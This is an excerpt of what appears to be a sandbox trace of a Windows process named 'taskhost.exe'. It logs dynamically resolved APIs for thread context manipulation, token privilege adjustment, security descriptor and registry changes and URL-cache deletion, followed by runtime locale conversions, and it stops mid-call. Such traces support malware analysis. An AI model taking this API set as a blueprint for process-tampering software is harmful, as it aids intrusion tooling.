GetProcAddress (hModule=0x77320000, lpProcName="RtlPcToFileHeader") returned 0x77352d80 [0104.324] GetProcAddress (hModule=0x77320000, lpProcName="DecodePointer") returned 0x77569c50 [0104.324] GetProcAddress (hModule=0x77320000, lpProcName="EncodePointer") returned 0x77573bd0 [0104.324] GetProcAddress (hModule=0x77320000, lpProcName="GetCommandLineA") returned 0x77341e70 [0104.324] GetProcAddress (hModule=0x77320000, lpProcName="GetSystemInfo") returned 0x77336f70 [0104.324] GetProcAddress (hModule=0x77320000, lpProcName="VirtualQuery") returned 0x7733bd40 [0104.324] GetProcAddress (hModule=0x77320000, lpProcName="ResumeThread") returned 0x773313a0 [0104.324] GetProcAddress (hModule=0x77320000, lpProcName="SuspendThread") returned 0x77322f60 [0104.325] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentThreadId") returned 0x77333ee0 [0104.325] GetProcAddress (hModule=0x77320000, lpProcName="OpenThread") returned 0x7733c560 [0104.325] GetProcAddress (hModule=0x77320000, lpProcName="FlushInstructionCache") returned 0x773233e0 [0104.325] GetProcAddress (hModule=0x77320000, lpProcName="HeapCreate") returned 0x773370e0 [0104.325] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentProcess") returned 0x77335cf0 [0104.325] GetProcAddress (hModule=0x77320000, lpProcName="SetThreadContext") returned 0x77322f10 [0104.325] GetProcAddress (hModule=0x77320000, lpProcName="GetThreadContext") returned 0x77322f40 [0104.325] GetProcAddress (hModule=0x77320000, lpProcName="LocalFree") returned 0x773347a0 [0104.325] GetProcAddress (hModule=0x77320000, lpProcName="GetVersionExW") returned 0x7732d910 [0104.325] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x7fefdb00000 [0104.325] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptHashData") returned 0x7fefdb0dac0 [0104.325] GetProcAddress (hModule=0x7fefdb00000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefdb089a0 [0104.326] GetProcAddress (hModule=0x7fefdb00000, lpProcName="GetSecurityDescriptorSacl") returned 0x7fefdb11e00 [0104.326] GetProcAddress (hModule=0x7fefdb00000, lpProcName="SetSecurityDescriptorSacl") returned 0x7fefdb11eb0 [0104.326] GetProcAddress (hModule=0x7fefdb00000, lpProcName="ConvertStringSecurityDescriptorToSecurityDescriptorW") returned 0x7fefdb12040 [0104.326] GetProcAddress (hModule=0x7fefdb00000, lpProcName="SetSecurityDescriptorDacl") returned 0x7fefdb1b5a0 [0104.326] GetProcAddress (hModule=0x7fefdb00000, lpProcName="InitializeSecurityDescriptor") returned 0x7fefdb1b504 [0104.326] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegSetValueExW") returned 0x7fefdb11ed0 [0104.326] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegQueryValueExW") returned 0x7fefdb1c2d0 [0104.326] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegOpenKeyExW") returned 0x7fefdb206f0 [0104.326] GetProcAddress (hModule=0x7fefdb00000, lpProcName="GetSidSubAuthorityCount") returned 0x7fefdb11740 [0104.326] GetProcAddress (hModule=0x7fefdb00000, lpProcName="GetSidSubAuthority") returned 0x7fefdb11754 [0104.326] GetProcAddress (hModule=0x7fefdb00000, lpProcName="AdjustTokenPrivileges") returned 0x7fefdb1b9b0 [0104.326] GetProcAddress (hModule=0x7fefdb00000, lpProcName="LookupPrivilegeValueW") returned 0x7fefdb1b9e0 [0104.327] GetProcAddress (hModule=0x7fefdb00000, lpProcName="OpenThreadToken") returned 0x7fefdb1bd84 [0104.327] GetProcAddress (hModule=0x7fefdb00000, lpProcName="GetTokenInformation") returned 0x7fefdb1bd50 [0104.327] GetProcAddress (hModule=0x7fefdb00000, lpProcName="OpenProcessToken") returned 0x7fefdb1bd70 [0104.328] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegCreateKeyExW") returned 0x7fefdb1b520 [0104.328] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptReleaseContext") returned 0x7fefdb0dd10 [0104.328] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptDestroyHash") returned 0x7fefdb0db00 [0104.328] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptGetHashParam") returned 0x7fefdb0db20 [0104.328] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptCreateHash") returned 0x7fefdb0dad4 [0104.328] GetProcAddress (hModule=0x7fefdb00000, lpProcName="GetLengthSid") returned 0x7fefdb1b580 [0104.328] GetProcAddress (hModule=0x7fefdb00000, lpProcName="CryptAcquireContextW") returned 0x7fefdb0d98c [0104.328] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegQueryValueExA") returned 0x7fefdb1c480 [0104.328] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegOpenKeyExA") returned 0x7fefdb1b5f0 [0104.328] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegCloseKey") returned 0x7fefdb20710 [0104.328] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegSetValueExA") returned 0x7fefdb11dc0 [0104.328] GetProcAddress (hModule=0x7fefdb00000, lpProcName="RegCreateKeyExA") returned 0x7fefdb11d10 [0104.329] LoadLibraryA (lpLibFileName="SHLWAPI.dll") returned 0x7feff2b0000 [0104.329] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathRenameExtensionW") returned 0x7feff2de6c0 [0104.329] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathRemoveBackslashW") returned 0x7feff2bd014 [0104.329] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathRemoveFileSpecW") returned 0x7feff2ba43c [0104.329] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathAddBackslashW") returned 0x7feff2c3f70 [0104.329] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathAddExtensionW") returned 0x7feff2de630 [0104.329] GetProcAddress (hModule=0x7feff2b0000, lpProcName="wvnsprintfA") returned 0x7feff2e2200 [0104.329] GetProcAddress (hModule=0x7feff2b0000, lpProcName="wvnsprintfW") returned 0x7feff2e22e4 [0104.329] GetProcAddress (hModule=0x7feff2b0000, lpProcName="PathCombineW") returned 0x7feff2c3dfc [0104.329] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x7fefdfb0000 [0104.331] GetProcAddress (hModule=0x7fefdfb0000, lpProcName="SHGetFolderPathW") returned 0x7fefe033ba4 [0104.332] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x77440000 [0104.332] GetProcAddress (hModule=0x77440000, lpProcName="MessageBoxA") returned 0x774b12b8 [0104.332] GetProcAddress (hModule=0x77440000, lpProcName="CharUpperW") returned 0x7745b714 [0104.332] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x7feff7e0000 [0104.333] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0x12) returned 0x7feff7e4da0 [0104.334] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0x73) returned 0x7feff7e4980 [0104.334] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0xf) returned 0x7feff7e1250 [0104.334] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0xb) returned 0x7feff7e1350 [0104.334] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0x9) returned 0x7feff7e1250 [0104.334] GetProcAddress (hModule=0x7feff7e0000, lpProcName=0x13) returned 0x7feff7e8000 [0104.334] LoadLibraryA (lpLibFileName="WININET.dll") returned 0x7feff6b0000 [0104.339] GetProcAddress (hModule=0x7feff6b0000, lpProcName="FindFirstUrlCacheEntryW") returned 0x7feff747150 [0104.340] GetProcAddress (hModule=0x7feff6b0000, lpProcName="DeleteUrlCacheEntryW") returned 0x7feff747050 [0104.340] GetProcAddress (hModule=0x7feff6b0000, lpProcName="FindNextUrlCacheEntryW") returned 0x7feff747500 [0104.340] GetProcAddress (hModule=0x7feff6b0000, lpProcName="FindCloseUrlCache") returned 0x7feff6be600 [0104.340] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x7fefede0000 [0104.340] GetProcAddress (hModule=0x7fefede0000, lpProcName="StringFromGUID2") returned 0x7fefee03560 [0104.340] GetProcAddress (hModule=0x7fefede0000, lpProcName="CLSIDFromString") returned 0x7fefedf0680 [0104.340] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoInitialize") returned 0x7fefedfa51c [0104.340] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoInitializeSecurity") returned 0x7fefedf8220 [0104.340] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoSetProxyBlanket") returned 0x7fefee1bf00 [0104.341] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoCreateInstance") returned 0x7fefee07490 [0104.341] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoUninitialize") returned 0x7fefee01314 [0104.341] GetProcAddress (hModule=0x7fefede0000, lpProcName="CoInitializeEx") returned 0x7fefee02a30 [0104.341] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x7feff5d0000 [0104.341] GetProcAddress (hModule=0x7feff5d0000, lpProcName=0x2) returned 0x7feff5d3480 [0104.341] GetProcAddress (hModule=0x7feff5d0000, lpProcName=0x6) returned 0x7feff5d1320 [0104.341] GetProcAddress (hModule=0x7feff5d0000, lpProcName=0x9) returned 0x7feff5d1180 [0104.341] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x268f688 | out: lpSystemTimeAsFileTime=0x268f688*(dwLowDateTime=0x34ba9610, dwHighDateTime=0x1d31ac1)) [0104.341] GetCurrentThreadId () returned 0x554 [0104.341] GetCurrentProcessId () returned 0x510 [0104.341] QueryPerformanceCounter (in: lpPerformanceCount=0x268f690 | out: lpPerformanceCount=0x268f690*=524226693) returned 1 [0104.341] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77320000 [0104.341] GetProcAddress (hModule=0x77320000, lpProcName="FlsAlloc") returned 0x77337190 [0104.341] GetProcAddress (hModule=0x77320000, lpProcName="FlsFree") returned 0x773315b0 [0104.342] GetProcAddress (hModule=0x77320000, lpProcName="FlsGetValue") returned 0x77343520 [0104.342] GetProcAddress (hModule=0x77320000, lpProcName="FlsSetValue") returned 0x7733bd90 [0104.342] GetProcAddress (hModule=0x77320000, lpProcName="InitializeCriticalSectionEx") returned 0x773379b0 [0104.342] GetProcAddress (hModule=0x77320000, lpProcName="CreateSemaphoreExW") returned 0x7736c4c0 [0104.342] GetProcAddress (hModule=0x77320000, lpProcName="SetThreadStackGuarantee") returned 0x77328050 [0104.342] GetProcAddress (hModule=0x77320000, lpProcName="CreateThreadpoolTimer") returned 0x77328820 [0104.342] GetProcAddress (hModule=0x77320000, lpProcName="SetThreadpoolTimer") returned 0x7755b2f0 [0104.342] GetProcAddress (hModule=0x77320000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7754d8c0 [0104.342] GetProcAddress (hModule=0x77320000, lpProcName="CloseThreadpoolTimer") returned 0x7754d620 [0104.342] GetProcAddress (hModule=0x77320000, lpProcName="CreateThreadpoolWait") returned 0x7736ba80 [0104.342] GetProcAddress (hModule=0x77320000, lpProcName="SetThreadpoolWait") returned 0x7755e170 [0104.343] GetProcAddress (hModule=0x77320000, lpProcName="CloseThreadpoolWait") returned 0x7754c540 [0104.343] GetProcAddress (hModule=0x77320000, lpProcName="FlushProcessWriteBuffers") returned 0x77591f80 [0104.343] GetProcAddress (hModule=0x77320000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7760ec60 [0104.343] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentProcessorNumber") returned 0x77590040 [0104.343] GetProcAddress (hModule=0x77320000, lpProcName="GetLogicalProcessorInformation") returned 0x7736b820 [0104.343] GetProcAddress (hModule=0x77320000, lpProcName="CreateSymbolicLinkW") returned 0x77395ad0 [0104.343] GetProcAddress (hModule=0x77320000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0104.343] GetProcAddress (hModule=0x77320000, lpProcName="EnumSystemLocalesEx") returned 0x7736c3d0 [0104.343] GetProcAddress (hModule=0x77320000, lpProcName="CompareStringEx") returned 0x7736b980 [0104.343] GetProcAddress (hModule=0x77320000, lpProcName="GetDateFormatEx") returned 0x773b0920 [0104.343] GetProcAddress (hModule=0x77320000, lpProcName="GetLocaleInfoEx") returned 0x77323c10 [0104.343] GetProcAddress (hModule=0x77320000, lpProcName="GetTimeFormatEx") returned 0x773ad4e0 [0104.344] GetProcAddress (hModule=0x77320000, lpProcName="GetUserDefaultLocaleName") returned 0x7736b790 [0104.344] GetProcAddress (hModule=0x77320000, lpProcName="IsValidLocaleName") returned 0x7736b770 [0104.344] GetProcAddress (hModule=0x77320000, lpProcName="LCMapStringEx") returned 0x7736b710 [0104.344] GetProcAddress (hModule=0x77320000, lpProcName="GetCurrentPackageId") returned 0x0 [0104.344] GetCurrentThreadId () returned 0x554 [0104.344] GetCommandLineA () returned="\"taskhost.exe\"" [0104.344] GetEnvironmentStringsW () returned 0x4005d0* [0104.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1318, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1318 [0104.344] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1318, lpMultiByteStr=0x3e54d0, cbMultiByte=1318, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1318 [0104.344] FreeEnvironmentStringsW (penv=0x4005d0) returned 1 [0104.344] GetStartupInfoW (in: lpStartupInfo=0x268f580 | out: lpStartupInfo=0x268f580*(cb=0x68, lpReserved="", lpDesktop="winsta0\\default", lpTitle="taskhost.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x80, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x4005d0, hStdError=0x3e54d0)) [0104.344] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0104.344] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0104.344] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0104.344] GetLastError () returned 0x7f [0104.344] SetLastError (dwErrCode=0x7f) [0104.344] GetLastError () returned 0x7f [0104.345] SetLastError (dwErrCode=0x7f) [0104.345] GetLastError () returned 0x7f [0104.345] SetLastError (dwErrCode=0x7f) [0104.345] GetACP () returned 0x4e4 [0104.345] GetLastError () returned 0x7f [0104.345] SetLastError (dwErrCode=0x7f) [0104.345] IsValidCodePage (CodePage=0x4e4) returned 1 [0104.345] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x268f510 | out: lpCPInfo=0x268f510) returned 1 [0104.345] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x268efb0 | out: lpCPInfo=0x268efb0) returned 1 [0104.345] GetLastError () returned 0x7f [0104.345] SetLastError (dwErrCode=0x7f) [0104.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x268efd0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0104.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x268efd0, cbMultiByte=256, lpWideCharStr=0x268ecb0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ黡⮅੄") returned 256 [0104.345] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ黡⮅੄", cchSrc=256, lpCharType=0x268f2d0 | out: lpCharType=0x268f2d0) returned 1 [0104.345] GetLastError () returned 0x7f [0104.345] SetLastError (dwErrCode=0x7f) [0104.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x268efd0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0104.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x268efd0, cbMultiByte=256, lpWideCharStr=0x268eca0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0104.345] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0104.345] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x268ea90, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌") returned 256 [0104.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ쳌", cchWideChar=256, lpMultiByteStr=0x268f0d0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿpbdw", lpUsedDefaultChar=0x0) returned 256 [0104.345] GetLastError () returned 0x7f [0104.345] SetLastError (dwErrCode=0x7f) [0104.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x268efd0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0104.345] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x268efd0, cbMultiByte=256, lpWideCharStr=0x268eca0, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ") returned 256 [0104.345] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256 [0104.345] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ", cchSrc=256, lpDestStr=0x268ea90, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌") returned 256 [0104.345] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ쳌", cchWideChar=256, lpMultiByteStr=0x268f1d0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fH\x02 \x02 \x02 \x02 \x02 \x02 \x02 